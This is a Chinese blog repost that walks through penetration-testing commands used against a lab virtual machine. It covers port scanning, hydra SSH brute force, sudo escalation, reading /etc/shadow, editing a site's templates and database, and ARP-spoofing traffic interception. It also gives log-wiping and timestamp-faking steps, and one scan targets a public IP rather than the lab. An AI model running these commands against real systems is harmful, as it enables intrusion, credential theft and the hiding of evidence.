渗透测试常用命令,记录一次渗透测试

news/2025/3/30 15:06:04/文章来源:https://www.cnblogs.com/safjh/p/18797108

渗透测试常用命令速览:从扫描到提权再到流量劫持

在渗透测试中,命令行工具是我们的得力助手。本文总结了我最近在测试虚拟机靶机(IP: 192.168.73.129)时用到的主要命令,涵盖网络扫描、暴力破解、权限提升、数据修改和流量劫持等环节。每个命令都附带介绍和使用场景,帮助你在类似场景中快速上手。以下内容为连续文本,确保复制到 .txt 文件后保持完整性和可读性。

网络扫描与信息收集

  • nmap -sV -p 端口 IP
    介绍:Nmap 是强大的网络扫描工具,-sV 探测服务版本,-p 指定端口。
    用途:识别目标开放端口和服务版本,为后续攻击提供依据。
    示例:nmap -sV -p 22,25,80,110,443,3306,8080 101.43.26.14
    输出显示目标运行 OpenSSH 9.6p1 和 MySQL 8.0.39。

  • nmap -p- IP
    介绍:扫描目标所有 65535 个 TCP 端口。
    用途:全面探测开放端口,避免遗漏非标准服务。
    示例:nmap -p- 192.168.73.129
    发现 22 和 8080 端口开放。

  • nmap -sn 网段
    介绍:执行 ping 扫描,探测活跃主机。
    用途:发现内网中的其他目标。
    示例:nmap -sn 192.168.73.0/24

  • arp -a
    介绍:显示 ARP 缓存,列出局域网内的 IP 和 MAC 地址。
    用途:了解网络拓扑,定位潜在目标。
    示例:arp -a
    发现网关 192.168.73.2 和主机 192.168.73.130

暴力破解

  • hydra -L 用户文件 -P 密码文件 服务://IP
    介绍:Hydra 是一个密码破解工具,支持多种协议(如 SSH、MySQL)。
    用途:尝试弱密码登录目标服务。
    示例:hydra -L users.txt -P passwords.txt ssh://192.168.73.129
    成功找到 yohomi:123456

系统访问与提权

  • ssh 用户@IP
    介绍:通过 SSH 远程登录目标。
    用途:使用已知凭据进入系统。
    示例:ssh yohomi@192.168.73.129

  • id
    介绍:显示当前用户的 UID、GID 和组信息。
    用途:确认登录后的权限。
    示例:id
    输出:uid=0(root) gid=0(root)

  • sudo -l
    介绍:列出当前用户可执行的 sudo 命令。
    用途:检查是否能提权。
    示例:sudo -l
    输出显示 root 可运行所有命令。

  • sudo su
    介绍:以 root 身份启动 shell。
    用途:从普通用户提权至 root。
    示例:sudo su

  • find / -perm -u=s -type f 2>/dev/null
    介绍:查找具有 SUID 权限的可执行文件。
    用途:寻找潜在的提权点。
    示例:find / -perm -u=s -type f 2>/dev/null

数据收集

  • cat /etc/passwdcat /etc/shadow
    介绍:查看用户列表和密码哈希。
    用途:提取凭据进行离线破解。
    示例:cat /etc/shadow

  • find / -name "*关键字*" 2>/dev/null
    介绍:搜索指定文件名的文件,忽略权限错误。
    用途:定位敏感文件或项目文件。
    示例:find / -name "*.php" -o -name "*.html" 2>/dev/null
    找到 /home/yohomi/Desktop/Simple_forum/templates/

  • netstat -tuln
    介绍:列出监听的网络端口。
    用途:发现运行的服务。
    示例:netstat -tuln
    显示 8080 端口监听。

修改网页数据

  • nano 文件路径
    介绍:编辑文本文件。
    用途:直接修改网页模板或配置文件。
    示例:nano /home/yohomi/Desktop/Simple_forum/templates/admin/dashboard.html

  • curl http://IP:端口
    介绍:发送 HTTP 请求并查看响应。
    用途:验证网页修改效果。
    示例:curl http://192.168.73.129:8080

  • sqlite3 数据库文件
    介绍:访问 SQLite 数据库。
    用途:修改动态网页的数据。
    示例:sqlite3 database.db
    命令:UPDATE posts SET content = 'Modified by Grok' WHERE id = 1;

流量劫持

  • arpspoof -i 接口 -t 目标IP 网关IP
    介绍:执行 ARP 欺骗,伪装成目标或网关。
    用途:拦截局域网流量。
    示例:arpspoof -i ens33 -t 192.168.73.130 192.168.73.129

  • echo 1 > /proc/sys/net/ipv4/ip_forward
    介绍:启用 IP 转发。
    用途:支持流量透传。
    示例:echo 1 > /proc/sys/net/ipv4/ip_forward

  • mitmproxy -p 端口 --mode transparent
    介绍:启动透明代理,拦截和修改流量。
    用途:实时篡改 HTTP 响应。
    示例:mitmproxy -p 8080 --mode transparent -s modify.py

  • iptables -t nat -A PREROUTING -i 接口 -p tcp --dport 端口 -j REDIRECT --to-ports 新端口
    介绍:配置 NAT 规则,重定向流量。
    用途:将目标流量导向代理。
    示例:iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 8080 -j REDIRECT --to-ports 8080

痕迹清理

  • echo "" > /var/log/日志文件
    介绍:清空指定日志文件。
    用途:删除登录或操作记录。
    示例:echo "" > /var/log/auth.log

  • history -c
    介绍:清除当前会话的命令历史。
    用途:防止命令记录被查看。
    示例:history -c

  • truncate -s 0 /var/log/lastlog
    介绍:将文件大小截断为 0。
    用途:清除历史登录记录。
    示例:truncate -s 0 /var/log/lastlog

  • date -s "时间"
    介绍:修改系统时间。
    用途:伪造操作时间戳。
    示例:date -s "2025-03-27 00:00:00"

总结

这些命令是我在测试 192.168.73.129(运行 Simple_forum 项目)时用到的核心工具。从用 nmap 扫描端口到用 hydra 暴力破解 SSH,再到提权、修改网页数据,最后通过 arpspoofmitmproxy 劫持流量,每一步都展示了渗透测试的典型流程。在实际环境中,记得根据目标调整策略。如果暴力破解失败,可以转向漏洞利用或流量劫持;获得控制后,善用文件搜索和数据修改命令;最后别忘了清理痕迹。这些命令是基础,结合工具(如 Metasploit)和脚本,能让你的测试更高效。希望这篇速览对你有所帮助!有什么想深入探讨的命令或场景,欢迎留言交流。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/906886.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(四):结合BotSharp智能体框架开发语音交互

前言 前段时间太忙了博客一直都没来得及更新,但是不代表我已经停止开发了,刚好最近把语音部分给调整了一下,所以就来分享一下具体的内容了。我想说一下,更新晚还是有好处的,社区已经有很多的小伙伴自己实现了一些语音对话功能的案例,比如小智也有.NET客户端了,还有就是一…

【AI News | 20250327】每日AI进展

AI Repos 1、playwright-mcp 使用Playwright提供浏览器自动化功能的MCP服务,核心是让LLM通过结构化的可访问性快照与网页交互,不需要依赖截图或视觉模型。可以用来自动填写网页表单、自动收集网页信息、自动进行网页测试等。支持两种模式:快照模式(默认):使用可访问性快照…

markdown常用命令行格式

Markdown 主要命令(语法)如下:标题 使用 # 号表示标题,# 的个数决定标题的级别:一级标题 二级标题 三级标题 四级标题 五级标题 六级标题段落 & 换行 直接输入文字形成段落,使用两个以上空格或 进行换行:这是一个段落。 这是同一段的下一行。 使用 <br> 也可…

微调可以获得什么

1.改变模型的行为: 使模型的响应更稳定; 使模型聚焦于某一领域; 发展期潜力,在某一方面更加出色,比如对话 2.获取新的知识: 学习预训练阶段没学过的知识; 纠正过时的错误和信息;

2022CCPC Online Contest G - Count Permutation

利用大写字母较少的性质,记录两个大写字母中间的串是否相等来进行转移。 设 \(f[i][j]\) 表示考虑用到第 \(i\) 个大写字母的时候,\(s\) 匹配到第 \(j\) 个字符时最长匹配数。当前大写字母 \(t[pos[i]] = s[j]\) 时,显然有 \(f[i][j] = f[i][j - 1] + 1\)如果 \(s[pos[i - 1…

第2章 C#2

第2章 C#2 2.1 泛型 2.1.1 示例:泛型诞生前的集合 在泛型诞生之前(.NET1),开发者常用如下方式创建集合:数组普通对象集合 如 ArrayList​、Hashtable​专用类型集合 如 StringCollection​// 数组 static string[] GenerateNames() {string[] names = new string[4];names…

ESP32S3串口UART0,UART1UART2,软件模拟串口,USB虚拟串口的使用 - 基于ArduinoIDE

硬件串口的使用 硬件资源我使用的具体的模组型号为 ESP32-S3-WROOM-1(U), 根据官方手册其有3个串口。UART0:通常用于下载和输出调试信息串口,信号管脚默认与 GPIO43(TX) ~ GPIO44(RX) 复用,可以通过 GPIO 交换矩阵连接到任意 GPIO. UART1:信号管脚默认与 GPIO17(TX) ~ GPIO…

从0搭建nacos单点、集群

主机IP 主机名10.0.0.91 elk9110.0.0.92 elk9210.0.0.93 elk93nacos单机部署使用内置数据库 1.下载解压nacos [root@elk91 ~]# wget https://github.com/alibaba/nacos/releases/download/2.5.1/nacos-server-2.5.1.tar.gz[root@elk91 ~]# tar xf nacos-server-2.5.1.tar.gz -C…

ESP32在ArduinoIDE中的配置

🟡 注意 使用 Arduino IDE 开发 ESP32 时除了要看 Arduino 官方的资料一定还要看乐鑫的支持包的资料。详见↗️ 安装ArduinoIDE 到 Arduino 官网 下载最新版的 Arduino IDE 并安装。 🟡 压缩包格式的下载选项意义不大,Arduino IDE 2 无法制作为便携版,参考:绿色(Portabl…

文献阅读《Convolutional Neural Networks on Graphs with Fast Localized Spectral Filtering》

参考博客: 论文解读二代GCN《Convolutional Neural Networks on Graphs with Fast Localized Spectral Filtering》 - 别关注我了,私信我吧 - 博客园 (cnblogs.com) 摘要 为将CNN推广到高维图结构数据中,基于spectral graph theory(谱图理论),设计了一种通用的fast local…

1013 Div3 F题目加注释

https://codeforces.com/contest/2091/problem/F这题主题思路就是递推,从下往上递推,然后用差分和前缀合得到下一行可能性,详细看代码注释点击查看代码 #include <bits/stdc++.h> using namespace std; using ll = long long; using pii = pair<int, int>; const…